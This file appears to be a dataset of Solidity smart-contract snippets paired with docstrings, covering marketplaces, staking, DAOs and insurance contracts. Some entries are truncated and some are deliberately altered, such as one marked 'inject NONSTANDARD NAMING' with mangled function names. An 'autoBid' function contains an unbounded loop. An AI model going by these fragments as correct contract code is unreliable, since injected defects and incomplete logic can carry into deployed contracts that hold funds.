function buy (uint256 _itemId) payable public { require(priceOf(_itemId) > 0); require(ownerOf(_itemId) != address(0)); require(msg.value >= priceOf(_itemId)); require(ownerOf(_itemId) != msg.sender); require(!isContract(msg.sender)); require(msg.sender != address(0)); require(canBuy > 0);...
7,730,312
pragma solidity >=0.5.0; //libraries import './libraries/SafeMath.sol'; //Interfaces import './interfaces/IAddressResolver.sol'; import './interfaces/IStrategyToken.sol'; contract Marketplace { using SafeMath for uint; IAddressResolver private immutable ADDRESS_RESOLVER; struct PositionForSale { ...
Returns the marketplace listing data for each listing the user has user Address of the user return PositionForSale[] The number of tokens, advertised price per token, and strategy address for each marketplace listing the user has/
function getUserPositionsForSale(address user) public view returns (PositionForSale[] memory) { return userToMarketplaceListings[user]; }
1,806,688
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functi...
Returns a mixed Color by balancing the ratio of `color1` over `color2`, with a total percentage (for overmixing and undermixing outside the source bounds) Reverts with `RatioInvalid()` if `ratioPercentage` is > 100 color1 The first `ISVGTypes.Color` to mix color2 The second `ISVGTypes.Color` to mix ratioPercentage ...
function mixColors(ISVGTypes.Color memory color1, ISVGTypes.Color memory color2, uint32 ratioPercentage, uint32 totalPercentage) internal pure returns (ISVGTypes.Color memory color) { if (ratioPercentage > 100) revert RatioInvalid(); color.red = _mixComponents(color1.red, color2.red, ratioPercentage...
1,010,220
pragma solidity ^0.4.19; contract ERC20 { // We want to be able to recover & donate any tokens sent to the contract. function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract theCyberInterface { // The utility contract ca...
The donation address for lost ether / ERC20 tokens should match theCyber's.
function donationAddress() public view returns(address) { return donationAddress_; }
5,455,449
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; // 导包 import "../@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../@openzeppelin/contracts/math/SafeMath.sol"; import "../@openzeppelin/contracts/utils/Address.sol"; import "../@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../../interfac...
将mapping 中的 _strategy映射置为 false
function revokeStrategy(address _strategy) external { require(msg.sender == governance, "!governance"); strategies[_strategy] = false; }
5,456,054
./full_match/1/0xd920556b0f3522bB1257923292A256F1e3023e07/sources/SimpleFarm.sol
Reports earned amount by wallet address not yet collected/
function earned( address _walletAddress ) public view returns (uint256) { uint256 difference = rewardPerToken() - perTokenPaid[_walletAddress]; return _balances[_walletAddress] * difference / PRECISION + userRew...
9,746,324
pragma solidity ^0.5.2; import "./CereneumData.sol"; contract CereneumImplementation is CereneumData { using SafeMath for uint256; //Events event ClaimEvent( uint256 nOriginalClaimAmount, uint256 nAmountGranted, uint256 nBonuses, uint256 nPenalties, bool bWasReferred ...
Calculates penalty for unstaking early a_tLockTime Starting timestamp of stake a_nEndStakeCommitTime Timestamp the stake matures a_nAmount Amount that was staked a_nInterestEarned Interest earned from stake return penalty valueIf they didn't stake for at least 1 full day we give them no interestTo prevent any abuse...
function CalculateEarlyPenalty( uint256 a_tLockTime, uint256 a_nEndStakeCommitTime, uint256 a_nAmount, uint256 a_nInterestEarned ) public view returns (uint256) { uint256 nPenalty = 0; if(block.timestamp < a_nEndStakeCommitTime) { if(DifferenceInDays(a_tLockTime, blo...
5,400,151
// SPDX-License-Identifier: GPLv3 pragma solidity 0.7.2; pragma experimental ABIEncoderV2; import '../interfaces/IElasticToken.sol'; import '../libraries/ElasticMath.sol'; import '../core/ElasticDAO.sol'; import '../models/DAO.sol'; import '../models/Ecosystem.sol'; import '../models/Token.sol'; import '../models/To...
Reduces the balance(lambda) of _account by _amount _account - address of the account _amount - the amount by which the number of shares has to be reduced return bool/
function burnShares(address _account, uint256 _amount) external override onlyDAOorBurner nonReentrant returns (bool) { _burnShares(_account, _amount); return true; }
10,474,381
./full_match/1/0xC6713e9Bdc0B2f9fb50998F09e0Db16D7528E059/sources/contracts/interfaces/IManager.sol
Remove a manager internally _manager The address of the manager to remove
function _removeManager(address _manager) internal { require(managers.contains(_manager), "Not exist"); managers.remove(_manager); emit ManagerRemoved(_manager); }
2,942,224
pragma solidity ^0.5.0; import "./library/PLCRVoting.sol"; import "./ReputationRegistry.sol"; import "./HyphaToken.sol"; import "./ProjectLibrary.sol"; import "./Task.sol"; import "bytes/BytesLib.sol"; import "./library/SafeMath.sol"; import "./library/Ownable.sol"; /** @title Project Registry for Distribute Network ...
Update the address of the reputation registry _newReputationRegistry Address of the new reputation registry/
function updateReputationRegistry(address _newReputationRegistry) external onlyOwner { reputationRegistryAddress = _newReputationRegistry; }
12,671,227
pragma solidity >=0.5.4 <0.6.0; interface tokenRecipient { function RECEIVEAPPROVAL172(address _from, uint256 _value, address _token, bytes calldata _extraData) external; } //inject NONSTANDARD NAMING library SafeMath { ...
inject NONSTANDARD NAMING
function CALCULATENETWORKBONUSPERCENTAGE146(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {
13,026,382
./partial_match/56/0x91633225efA68e71C3040565D48977deF1c4d20d/sources/ChocoToken.sol
Delegates votes from signatory to `delegatee` delegatee The address to delegate votes to nonce The contract state required to match the signature expiry The time at which to expire the signature v The recovery byte of the signature r Half of the ECDSA signature pair s Half of the ECDSA signature pair/
function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())...
11,171,210
./full_match/43114/0x83bC0C9a5f831C9f5eEA317B0c74883Edf8D38af/sources/MM2/MOON.sol
TODO needs insert function that maintains order. TODO needs NatSpec documentation comment. Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index/
function _insert(Set storage set_, uint256 index_, bytes32 valueToInsert_ ) private returns ( bool ) { require( set_._values.length > index_ ); require( !_contains( set_, valueToInsert_ ), "Remove value you wish to insert if you wish to reorder array." ); bytes32 existingValue_ = _at( set_, index_ ); ...
4,534,344
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "../math/SafeMathU128.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; /** Writes a simple match function This function needs to accept as params: All the raw params of the order commi...
Validate order, given signature and order/ make sure order is not already matched
function validateOrder(bytes32 hash, Order memory order, MarketplaceSignature memory signature) internal view returns (bool) { if (cancelledOrMatched[hash]) { return false; } if (ecrecover(hash, signature.v, signature.r, signature.s) == order.signer)...
12,755,528
./full_match/5/0xA0E69f8Cf9f8F8555e1Bd0983214871e674ac30F/sources/contracts/tenderswap/TenderSwap.sol
@inheritdoc ITenderSwap
function removeLiquidity( uint256 amount, uint256[2] calldata minAmounts, uint256 deadline ) external override nonReentrant deadlineCheck(deadline) returns (uint256[2] memory) { SwapUtils.PooledToken[2] memory tokens_ = [token0, token1]; return SwapUtils.removeLiquidity(...
7,038,724
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts@3.2.0/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts@3.2.0/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts@3.2.0/math/SafeMath.sol"; import "@openzeppelin/contracts@3.2.0/access/Ownable.sol"; import "./Meshco...
Withdraw LP tokens from MeshcoinPool.
function withdraw(uint256 _pid, uint256 _amount) external validatePoolByPid(_pid){ updatePool(_pid); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); user.rewardRemain = pendingR...
13,112,116
pragma solidity 0.5.10; import "./base/BanReasons.sol"; import "./interfaces/IBlockRewardAuRa.sol"; import "./interfaces/IGovernance.sol"; import "./interfaces/IRandomAuRa.sol"; import "./interfaces/IStakingAuRa.sol"; import "./interfaces/IValidatorSetAuRa.sol"; import "./upgradeability/UpgradeabilityAdmin.sol"; impor...
Returns the current validator set (an array of mining addresses) which always matches the validator set kept in validator's node.
function getValidators() public view returns(address[] memory) { address[] memory miningAddresses = new address[](_currentValidators.length); for (uint256 i = 0; i < miningAddresses.length; i++) { miningAddresses[i] = miningAddressById[_currentValidators[i]]; } return min...
2,495,666
//SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./ITheSpace.sol"; import "./ITheSpaceRegistry.sol"; contra...
@inheritdoc ITheSpaceRegistry
function setTokenRecord( uint256 tokenId_, uint256 price_, uint256 lastTaxCollection_, uint256 ubiWithdrawn_ ) external onlyOwner { tokenRecord[tokenId_] = TokenRecord(price_, lastTaxCollection_, ubiWithdrawn_); }
12,728,646
pragma solidity ^0.4.17; contract CampaignFactory { address[] public deployedCampaigns; function createCampaign(uint minimumContribution) public { // deploy a new Campaign contract // msg.sender for Campaign will be this // factory contract, therefore we need to // pass the se...
Create a request function only to be called by the manager canot use storage keyword We just need to initialize value properties mapping is a reference property therefore no need to initialize
function createRequest(string description, uint value, address recipient) public restricted { Request memory newRequest = Request({ description: description, value: value, recipient: recipient, ...
13,116,129
./full_match/80001/0xB5E7bb79bCFd916b319b3320C63B98e617BFd023/sources/project_/contracts/LockUps.sol
Updates the lockUps of the `_account` according to timestamps. If the time to unlock certain amount of tokens has come, it makes these tokens "free". Function loops through the array of pairs with data about locked tokens: {PersonalInfo.personalLockUps} If the [0]indexed parametr of pair (tim...
function updateDataOfLockedTokensOf( address _account ) public returns (bool) { if (userData[_account].personalLockUps.length == 0) { return true; uint count = 0; uint256[2][] memory memoryArray = new uint256[2][]( userData[_account].personalLo...
842,575
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import './ERC721Enumerable.sol'; import './Strings.sol'; import './INiftyNafty.sol'; import './INiftyNaftyMetadata.sol'; contract NiftyNafty is ERC721Enumerable, INiftyNafty, INiftyNaftyMetadata { using Strings for uint256; uint256 private constant ...
Returns a list of owners addresses/
function owners() public view virtual returns (address [] memory) { return _ownersList; }
14,813,830
./full_match/1/0x8abC21a84992b8C50c086D5133D6B428b8FC7439/sources/contracts/KH87A/PixelPioneerArtworkBase.sol
Get the Art Asset for a TokenType as an SVG encoded into a data URI. tokenType the token type of the art piece./
function getSvgArt(uint256 tokenType) external view returns (string memory) { return _getSvgDataURI(tokenType); }
4,954,282
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.9; import { IERC20 } from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import { IClearingHouse } from '../../interfaces/IClearingHouse.sol'; import { IClearingHouseView } from '../../interfaces/clearinghouse/IClearingHouseView.sol'; import { IVQuote } fr...
@inheritdoc IClearingHouseView
function getRealTwapPriceX128(uint32 poolId) public view returns (uint256 realPriceX128) { realPriceX128 = protocol.getRealTwapPriceX128(poolId); }
13,068,421
./full_match/1/0x4361b1B8aE2E4f96bFB7A2BC95D6aB748882fdbB/sources/src/FiefdomProxy.sol
Defer all functionality to the given archetype contract Invoke the preInitialize function on itself, as defined by the archetype contract
constructor() { address fiefdomArchetype = Fiefdoms(msg.sender).fiefdomArchetype(); uint256 fiefdomId = Fiefdoms(msg.sender).totalSupply(); getAddressSlot(_IMPLEMENTATION_SLOT).value = fiefdomArchetype; Address.functionDelegateCall( fiefdomArchetype, abi.encodeWithSignature("initializ...
4,962,773
./partial_match/1/0xAE99862CB922CF20F341f4292af82cf673DF0dB6/sources/FeeDistributor.sol
Withdraws the specified tokens or ETH tokens Array of tokens to withdraw tokens Array of amounts to withdraw for each token/
function withdraw(IERC20[] calldata tokens) external { for (uint256 i = 0; i < tokens.length; i++) { IERC20 token = tokens[i]; uint256 amount = available(token, msg.sender); _withdrawn[token][msg.sender] += amount; _totalWithdrawn[token] += amount; ...
15,718,441
./full_match/56/0xa83B3E821F6CF63Cde35c9aC7012c00bF57a438D/sources/contracts/NewAlver.sol
Get total fee's or multiplication of fees
function getTotalFee(bool selling) public view returns (uint256) { return totalFee; }
3,245,846
// SPDX-License-Identifier: MIT // _____ _____ _______ _____ _____ _____ // /\ \ /\ \ /::\ \ /\ \ /\ \ /\ \ // /::\ \ ...
Remove Faction from owner and burn it
function _burn( address owner, uint16 tokenId, FactionToken memory ft ) internal { _removeFrom(owner, tokenId, ft); emit Transfer(owner, address(0), tokenId); _burnedCount++; ft.owner = address(0); ft.isBurned = 0x01; _factionOwnerships[to...
1,413,214
./partial_match/4/0xB6B529D997c0E0e7f6AB1f6CC64A71f18D7d65F3/sources/pxv3.sol
make sure the array lengths are all the same
function CloseModApprobationVote() public { require(moderation_gov_vote_in_progress); require(c_mod_vote_count >= MODERATION_APPROB_MIN_VOTE_COUNT); for (uint i = 0; i < active_moderators_.length; i++) { address a = active_moderators_[i]; uint256 slashed_token_amo...
8,699,974
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "./Lockable.sol"; /** * @title A contract to track a whitelist of addresses. */ contract AddressWhitelist is Ownable, Lockable { enum Status { None, In, Out } mapping(address => Stat...
Must be disputed or the liquidation has passed expiry.
function _withdrawable(uint256 liquidationId, address sponsor) internal view { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); Status state = liquidation.state; require( (state > Status.PreDispute) || ((_getLiquidationExpiry(liq...
591,222
pragma solidity >=0.4.25; import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; contract FlightSuretyData { using SafeMath for uint256; /********************************************************************************************/ /* DATA VARIAB...
Sets contract operations on/off When operational mode is disabled, all write transactions except for this one will fail/
function setOperatingStatus(bool mode) external requireContractOwner requireAppContractOwner { require(mode != operational, "New mode must be different from existing one"); operational = mode; }
6,353,464
// File: @openzeppelin/contracts/proxy/Initializable.sol // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since ...
Return coin prices 10e5 (to solve rounding problems, this yields 5 meaning digits after decimal point)/
function getCoinPrices(address[] calldata _coins, uint8 _market) external view returns (uint256[] memory prices) { require(_market < market.length, "Wrong market index"); IUniswapV2Factory _factory = IUniswapV2Factory(market[_market]); IUniswapV2Pair _p; u...
12,594,759
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add...
Returns the integer division of two unsigned integers, reverting on division by zero. The result is rounded towards zero. Counterpart to Solidity's `/` operator. Requirements: - The divisor cannot be zero./
function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); return a / b; }
2,556,312
./full_match/1/0xe5BB8654F698c5f021dA21146219f6a998F2aA99/sources/contracts/v3/tokens/ERC721LA.sol
See {IERC721-transferFrom}.
function transferFrom( address from, address to, uint256 tokenId ) external override { if (!_isApprovedOrOwner(msg.sender, tokenId)) { revert CustomErrors.TransferError(); } _transfer(from, to, tokenId); }
3,137,212
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlEnumerableUpgradeable.sol"; import "./AccessControlUpgradeable.sol"; import "../utils/structs/EnumerableSetUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the ...
Swap the item with the last element so that it can be popped.
function remove(Set storage set, string memory value) internal returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) {...
1,274,776
pragma solidity >=0.5.0; //Inheritance import '../interfaces/IIndicator.sol'; //Libraries import '../libraries/SafeMath.sol'; contract SMA is IIndicator { using SafeMath for uint; struct State { uint8 SMAperiod; uint248 currentValue; } uint public _price; address public _develop...
Given a trading bot address, returns the indicator value for that bot tradingBotAddress Address of trading bot index Index in trading bot's entry/exit rule array return uint[] Indicator value for the given trading bot/
function getValue(address tradingBotAddress, uint index) public view override returns (uint[] memory) { require(tradingBotAddress != address(0), "Invalid trading bot address"); require(index >= 0 && index < _tradingBotStates[tradingBotAddress].length, "Invalid index"); uint[] memory temp = ...
5,355,565
./full_match/5/0x40E8961f2C055c4a92Fa4Ee68A30B8Fd4e7e4Bd4/sources/contracts/AuctionListing.sol
autoBid function, written but not implementedtakes 2 more blocks than usual
function autoBid(uint256 maxPrice, uint256 priceIncrease) public { while (isOpen) { if (currentPrice+priceIncrease <= maxPrice) { bid(currentPrice+priceIncrease); } } }
1,849,930
/** *Submitted for verification at Etherscan.io on 2021-10-15 */ // SPDX-License-Identifier: MIT pragma solidity >=0.7.0 <0.9.0; pragma experimental ABIEncoderV2; // File: contracts\interfaces\IWitnetRequestBoardEvents.sol /// @title Witnet Request Board emitting events interface. /// @author The Witnet Foundatio...
Gets current status of given query.
function _getQueryStatus(uint256 _queryId) internal view returns (Witnet.QueryStatus) { if (_queryId == 0 || _queryId > _state().numQueries) return Witnet.QueryStatus.Unknown; else { Witnet.Query storage _query = _state().queries[_queryId]; if (_query.request.requ...
10,928,791
./full_match/1/0x2fd8eE894E234a8b2bE30fD4595f60AA40A72A26/sources/src/abstracts/BaseRouter.sol
Similar to `_replaceAmountArgInAction(...)` but asbtracted to implement specific bridge logic./ Handles both permit actions logic flow. This function was required to avoid "stack too deep" error in `_bundleInternal()`. action either IRouter.Action.PermitWithdraw (6), or IRouter.Action.PermitBorrow (7) arg of the ong...
function _replaceAmountInCrossAction( Action action, bytes memory args, uint256 updateAmount ) internal pure virtual returns (bytes memory newArgs, uint256 previousAmount); function _handlePermitAction( IRouter.Action action, bytes memory arg, bytes32 actionArgsHash_ ) ...
3,167,828
./full_match/1/0xfbB3742628e8D19E0E2d7D8dde208821C09dE960/sources/src/Kernel.sol
Function used by kernel when migrating to a new kernel.
function changeKernel(Kernel newKernel_) external onlyKernel { kernel = newKernel_; }
4,916,110
./full_match/1/0x2Bbbdf97295F73175b12CC087cF446765931e1C3/sources/@layerzerolabs/solidity-examples/contracts/token/oft/v2/ProxyOFTV2.sol
internal functions/ _amount still may have dust if the token has transfer fee, then give the dust back to the sender check total outbound amount
function _debitFrom( address _from, uint16, bytes32, uint _amount ) internal virtual override returns (uint) { require(_from == _msgSender(), "ProxyOFT: owner is not send caller"); _amount = _transferFrom(_from, address(this), _amount); (uint amount, uin...
8,317,413
pragma solidity ^0.5.16; // It's important to avoid vulnerabilities due to numeric overflow bugs // OpenZeppelin's SafeMath library, when used correctly, protects agains such bugs // More info: https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/november/smart-contract-insecurity-bad-arithmetic/ impo...
Returns all insured passengers of a flight/
function getInsurees(bytes32 flightKey) external view requireIsOperational returns (address[] memory) { return flightSuretyData.getInsurees(flightKey); }
12,825,316